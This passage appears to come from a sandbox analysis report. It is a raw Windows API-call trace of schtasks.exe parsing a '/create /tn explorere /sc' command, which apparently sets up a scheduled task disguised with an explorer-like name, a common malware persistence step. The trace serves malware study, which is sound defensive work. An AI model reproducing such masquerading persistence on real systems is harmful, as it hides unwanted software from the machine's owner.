GetProcessHeap () returned 0x1e0000 [0139.195] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcdd0) returned 1 [0139.195] GetProcessHeap () returned 0x1e0000 [0139.195] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fcdd0) returned 0x20 [0139.195] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fcdd0 | out: hHeap=0x1e0000) returned 1 [0139.195] GetProcessHeap () returned 0x1e0000 [0139.195] GetProcessHeap () returned 0x1e0000 [0139.195] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fde20) returned 1 [0139.196] GetProcessHeap () returned 0x1e0000 [0139.196] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fde20) returned 0x6 [0139.196] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fde20 | out: hHeap=0x1e0000) returned 1 [0139.196] GetProcessHeap () returned 0x1e0000 [0139.196] GetProcessHeap () returned 0x1e0000 [0139.196] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce00) returned 1 [0139.196] GetProcessHeap () returned 0x1e0000 [0139.196] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fce00) returned 0x20 [0139.196] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fce00 | out: hHeap=0x1e0000) returned 1 [0139.196] GetProcessHeap () returned 0x1e0000 [0139.196] GetProcessHeap () returned 0x1e0000 [0139.196] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5480) returned 1 [0139.196] GetProcessHeap () returned 0x1e0000 [0139.196] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1f5480) returned 0x18 [0139.196] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1f5480 | out: hHeap=0x1e0000) returned 1 [0139.197] SetLastError (dwErrCode=0x0) [0139.197] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0139.197] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0139.197] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0139.197] VerifyVersionInfoW (in: lpVersionInformation=0x13c330, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x13c330) returned 1 [0139.197] SetLastError (dwErrCode=0x0) [0139.197] lstrlenW (lpString="create") returned 6 [0139.197] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0139.197] SetLastError (dwErrCode=0x490) [0139.197] SetLastError (dwErrCode=0x0) [0139.197] lstrlenW (lpString="create") returned 6 [0139.197] GetProcessHeap () returned 0x1e0000 [0139.197] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fce00 [0139.197] GetProcessHeap () returned 0x1e0000 [0139.197] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x18) returned 0x1fd530 [0139.197] _memicmp (_Buf1=0x1fd530, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.197] GetProcessHeap () returned 0x1e0000 [0139.197] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x16) returned 0x1fd550 [0139.197] SetLastError (dwErrCode=0x0) [0139.197] _memicmp (_Buf1=0x1fbaa0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.197] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1fbc40, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0139.197] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0139.198] GetProcessHeap () returned 0x1e0000 [0139.198] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x74e) returned 0x1fdd70 [0139.198] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x1fdd70 | out: lpData=0x1fdd70) returned 1 [0139.198] VerQueryValueW (in: pBlock=0x1fdd70, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x13c418, puLen=0x13c480 | out: lplpBuffer=0x13c418*=0x1fe10c, puLen=0x13c480) returned 1 [0139.198] _memicmp (_Buf1=0x1fbaa0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.198] _vsnwprintf (in: _Buffer=0x1fbc40, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x13c3f8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0139.198] VerQueryValueW (in: pBlock=0x1fdd70, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x13c488, puLen=0x13c478 | out: lplpBuffer=0x13c488*=0x1fdf38, puLen=0x13c478) returned 1 [0139.199] lstrlenW (lpString="schtasks.exe") returned 12 [0139.199] lstrlenW (lpString="schtasks.exe") returned 12 [0139.199] lstrlenW (lpString=".EXE") returned 4 [0139.199] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0139.199] lstrlenW (lpString="schtasks.exe") returned 12 [0139.199] lstrlenW (lpString=".EXE") returned 4 [0139.199] lstrlenW (lpString="schtasks") returned 8 [0139.199] lstrlenW (lpString="/create") returned 7 [0139.199] _memicmp (_Buf1=0x1fbaa0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.199] _vsnwprintf (in: _Buffer=0x1fbc40, _BufferCount=0x19, _Format="%s %s", _ArgList=0x13c3f8 | out: _Buffer="schtasks /create") returned 16 [0139.199] _memicmp (_Buf1=0x1fbac0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.199] GetProcessHeap () returned 0x1e0000 [0139.199] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x20) returned 0x1fcdd0 [0139.199] _memicmp (_Buf1=0x1fbae0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.199] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1fd2d0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0139.199] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0139.199] GetProcessHeap () returned 0x1e0000 [0139.199] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0xc, Size=0x30) returned 0x1f7ae0 [0139.199] _vsnwprintf (in: _Buffer=0x1fc040, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x13c3f8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0139.199] GetProcessHeap () returned 0x1e0000 [0139.199] GetProcessHeap () returned 0x1e0000 [0139.199] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fdd70) returned 1 [0139.199] GetProcessHeap () returned 0x1e0000 [0139.199] RtlSizeHeap (HeapHandle=0x1e0000, Flags=0x0, MemoryPointer=0x1fdd70) returned 0x74e [0139.200] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1fdd70 | out: hHeap=0x1e0000) returned 1 [0139.200] SetLastError (dwErrCode=0x0) [0139.200] GetThreadLocale () returned 0x409 [0139.200] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.200] lstrlenW (lpString="create") returned 6 [0139.200] GetThreadLocale () returned 0x409 [0139.200] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.200] lstrlenW (lpString="?") returned 1 [0139.200] GetThreadLocale () returned 0x409 [0139.200] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.200] lstrlenW (lpString="s") returned 1 [0139.200] GetThreadLocale () returned 0x409 [0139.200] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.200] lstrlenW (lpString="u") returned 1 [0139.200] GetThreadLocale () returned 0x409 [0139.200] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.200] lstrlenW (lpString="p") returned 1 [0139.200] GetThreadLocale () returned 0x409 [0139.200] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.200] lstrlenW (lpString="ru") returned 2 [0139.200] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.201] lstrlenW (lpString="rp") returned 2 [0139.201] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.201] lstrlenW (lpString="sc") returned 2 [0139.201] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.201] lstrlenW (lpString="mo") returned 2 [0139.201] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.201] lstrlenW (lpString="d") returned 1 [0139.201] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.201] lstrlenW (lpString="m") returned 1 [0139.201] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.201] lstrlenW (lpString="i") returned 1 [0139.201] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.201] lstrlenW (lpString="tn") returned 2 [0139.201] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.201] lstrlenW (lpString="tr") returned 2 [0139.201] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.201] lstrlenW (lpString="st") returned 2 [0139.201] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.201] lstrlenW (lpString="sd") returned 2 [0139.201] GetThreadLocale () returned 0x409 [0139.201] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.202] lstrlenW (lpString="ed") returned 2 [0139.202] GetThreadLocale () returned 0x409 [0139.202] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.202] lstrlenW (lpString="it") returned 2 [0139.202] GetThreadLocale () returned 0x409 [0139.202] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.202] lstrlenW (lpString="et") returned 2 [0139.202] GetThreadLocale () returned 0x409 [0139.202] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.202] lstrlenW (lpString="k") returned 1 [0139.202] GetThreadLocale () returned 0x409 [0139.202] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.202] lstrlenW (lpString="du") returned 2 [0139.202] GetThreadLocale () returned 0x409 [0139.202] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.202] lstrlenW (lpString="ri") returned 2 [0139.202] GetThreadLocale () returned 0x409 [0139.202] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.202] lstrlenW (lpString="z") returned 1 [0139.202] GetThreadLocale () returned 0x409 [0139.202] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.202] lstrlenW (lpString="f") returned 1 [0139.202] GetThreadLocale () returned 0x409 [0139.202] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.202] lstrlenW (lpString="v1") returned 2 [0139.202] GetThreadLocale () returned 0x409 [0139.202] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.202] lstrlenW (lpString="xml") returned 3 [0139.202] GetThreadLocale () returned 0x409 [0139.202] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.203] lstrlenW (lpString="ec") returned 2 [0139.203] GetThreadLocale () returned 0x409 [0139.203] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.203] lstrlenW (lpString="rl") returned 2 [0139.203] GetThreadLocale () returned 0x409 [0139.203] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.203] lstrlenW (lpString="delay") returned 5 [0139.203] GetThreadLocale () returned 0x409 [0139.203] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0139.203] lstrlenW (lpString="np") returned 2 [0139.203] SetLastError (dwErrCode=0x0) [0139.203] SetLastError (dwErrCode=0x0) [0139.203] lstrlenW (lpString="/create") returned 7 [0139.203] lstrlenW (lpString="-/") returned 2 [0139.203] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.203] lstrlenW (lpString="create") returned 6 [0139.203] lstrlenW (lpString="create") returned 6 [0139.203] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.203] lstrlenW (lpString="create") returned 6 [0139.203] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.203] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|create|") returned 8 [0139.203] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|create|") returned 8 [0139.203] lstrlenW (lpString="|create|") returned 8 [0139.203] lstrlenW (lpString="|create|") returned 8 [0139.203] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0139.203] SetLastError (dwErrCode=0x0) [0139.203] SetLastError (dwErrCode=0x0) [0139.203] SetLastError (dwErrCode=0x0) [0139.203] lstrlenW (lpString="/tn") returned 3 [0139.204] lstrlenW (lpString="-/") returned 2 [0139.204] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.204] lstrlenW (lpString="create") returned 6 [0139.204] lstrlenW (lpString="create") returned 6 [0139.204] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.204] lstrlenW (lpString="tn") returned 2 [0139.204] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.204] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|create|") returned 8 [0139.204] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.204] lstrlenW (lpString="|create|") returned 8 [0139.204] lstrlenW (lpString="|tn|") returned 4 [0139.204] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0139.204] SetLastError (dwErrCode=0x490) [0139.204] lstrlenW (lpString="?") returned 1 [0139.204] lstrlenW (lpString="?") returned 1 [0139.204] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.204] lstrlenW (lpString="tn") returned 2 [0139.204] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.204] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|?|") returned 3 [0139.204] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.204] lstrlenW (lpString="|?|") returned 3 [0139.204] lstrlenW (lpString="|tn|") returned 4 [0139.204] SetLastError (dwErrCode=0x490) [0139.204] lstrlenW (lpString="s") returned 1 [0139.204] lstrlenW (lpString="s") returned 1 [0139.204] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.205] lstrlenW (lpString="tn") returned 2 [0139.205] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.205] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|s|") returned 3 [0139.205] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.205] lstrlenW (lpString="|s|") returned 3 [0139.205] lstrlenW (lpString="|tn|") returned 4 [0139.205] SetLastError (dwErrCode=0x490) [0139.205] lstrlenW (lpString="u") returned 1 [0139.205] lstrlenW (lpString="u") returned 1 [0139.205] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.205] lstrlenW (lpString="tn") returned 2 [0139.205] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.205] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|u|") returned 3 [0139.205] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.205] lstrlenW (lpString="|u|") returned 3 [0139.205] lstrlenW (lpString="|tn|") returned 4 [0139.205] SetLastError (dwErrCode=0x490) [0139.205] lstrlenW (lpString="p") returned 1 [0139.205] lstrlenW (lpString="p") returned 1 [0139.205] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.205] lstrlenW (lpString="tn") returned 2 [0139.205] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.205] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|p|") returned 3 [0139.205] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.205] lstrlenW (lpString="|p|") returned 3 [0139.205] lstrlenW (lpString="|tn|") returned 4 [0139.205] SetLastError (dwErrCode=0x490) [0139.206] lstrlenW (lpString="ru") returned 2 [0139.206] lstrlenW (lpString="ru") returned 2 [0139.206] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.206] lstrlenW (lpString="tn") returned 2 [0139.206] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.206] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|ru|") returned 4 [0139.206] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.206] lstrlenW (lpString="|ru|") returned 4 [0139.206] lstrlenW (lpString="|tn|") returned 4 [0139.206] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0139.206] SetLastError (dwErrCode=0x490) [0139.206] lstrlenW (lpString="rp") returned 2 [0139.206] lstrlenW (lpString="rp") returned 2 [0139.206] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.206] lstrlenW (lpString="tn") returned 2 [0139.206] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.206] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|rp|") returned 4 [0139.206] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.206] lstrlenW (lpString="|rp|") returned 4 [0139.206] lstrlenW (lpString="|tn|") returned 4 [0139.206] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0139.206] SetLastError (dwErrCode=0x490) [0139.206] lstrlenW (lpString="sc") returned 2 [0139.206] lstrlenW (lpString="sc") returned 2 [0139.206] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.206] lstrlenW (lpString="tn") returned 2 [0139.207] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.207] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.207] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.207] lstrlenW (lpString="|sc|") returned 4 [0139.207] lstrlenW (lpString="|tn|") returned 4 [0139.207] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0139.207] SetLastError (dwErrCode=0x490) [0139.207] lstrlenW (lpString="mo") returned 2 [0139.207] lstrlenW (lpString="mo") returned 2 [0139.207] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.207] lstrlenW (lpString="tn") returned 2 [0139.207] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.207] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|mo|") returned 4 [0139.207] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.207] lstrlenW (lpString="|mo|") returned 4 [0139.207] lstrlenW (lpString="|tn|") returned 4 [0139.207] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0139.207] SetLastError (dwErrCode=0x490) [0139.207] lstrlenW (lpString="d") returned 1 [0139.207] lstrlenW (lpString="d") returned 1 [0139.207] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.207] lstrlenW (lpString="tn") returned 2 [0139.207] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.207] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|d|") returned 3 [0139.207] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.207] lstrlenW (lpString="|d|") returned 3 [0139.207] lstrlenW (lpString="|tn|") returned 4 [0139.208] SetLastError (dwErrCode=0x490) [0139.208] lstrlenW (lpString="m") returned 1 [0139.208] lstrlenW (lpString="m") returned 1 [0139.208] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.208] lstrlenW (lpString="tn") returned 2 [0139.208] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.208] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|m|") returned 3 [0139.208] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.208] lstrlenW (lpString="|m|") returned 3 [0139.208] lstrlenW (lpString="|tn|") returned 4 [0139.208] SetLastError (dwErrCode=0x490) [0139.208] lstrlenW (lpString="i") returned 1 [0139.208] lstrlenW (lpString="i") returned 1 [0139.208] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.208] lstrlenW (lpString="tn") returned 2 [0139.208] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.208] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|i|") returned 3 [0139.208] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.208] lstrlenW (lpString="|i|") returned 3 [0139.208] lstrlenW (lpString="|tn|") returned 4 [0139.208] SetLastError (dwErrCode=0x490) [0139.208] lstrlenW (lpString="tn") returned 2 [0139.208] lstrlenW (lpString="tn") returned 2 [0139.208] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.208] lstrlenW (lpString="tn") returned 2 [0139.208] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.208] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.209] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|tn|") returned 4 [0139.209] lstrlenW (lpString="|tn|") returned 4 [0139.209] lstrlenW (lpString="|tn|") returned 4 [0139.209] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0139.209] SetLastError (dwErrCode=0x0) [0139.209] SetLastError (dwErrCode=0x0) [0139.209] lstrlenW (lpString="explorere") returned 9 [0139.209] lstrlenW (lpString="-/") returned 2 [0139.209] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0139.209] SetLastError (dwErrCode=0x490) [0139.209] SetLastError (dwErrCode=0x490) [0139.209] SetLastError (dwErrCode=0x0) [0139.209] lstrlenW (lpString="explorere") returned 9 [0139.209] StrChrIW (lpStart="explorere", wMatch=0x3a) returned 0x0 [0139.209] SetLastError (dwErrCode=0x490) [0139.209] SetLastError (dwErrCode=0x0) [0139.209] lstrlenW (lpString="explorere") returned 9 [0139.209] SetLastError (dwErrCode=0x0) [0139.209] SetLastError (dwErrCode=0x0) [0139.209] lstrlenW (lpString="/sc") returned 3 [0139.209] lstrlenW (lpString="-/") returned 2 [0139.209] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0139.209] lstrlenW (lpString="create") returned 6 [0139.209] lstrlenW (lpString="create") returned 6 [0139.209] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.209] lstrlenW (lpString="sc") returned 2 [0139.209] _memicmp (_Buf1=0x1fc230, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0139.209] _vsnwprintf (in: _Buffer=0x1fc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|create|") returned 8 [0139.209] _vsnwprintf (in: _Buffer=0x1fc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13c408 | out: _Buffer="|sc|") returned 4 [0139.209] lstrlenW (lpString="|create|") returned 8 [0139.210] lstrlenW (lpString="|sc|") returned 4 [0139.210] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0139.210] SetLastError (dwErrCode=0x490) [0139.210] lstrlenW (lpString="?") returned 1 [0139.210] lstrlenW (lpString="?") returned 1 [0139.210] _memicmp (_Buf1=0x1fc1f0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 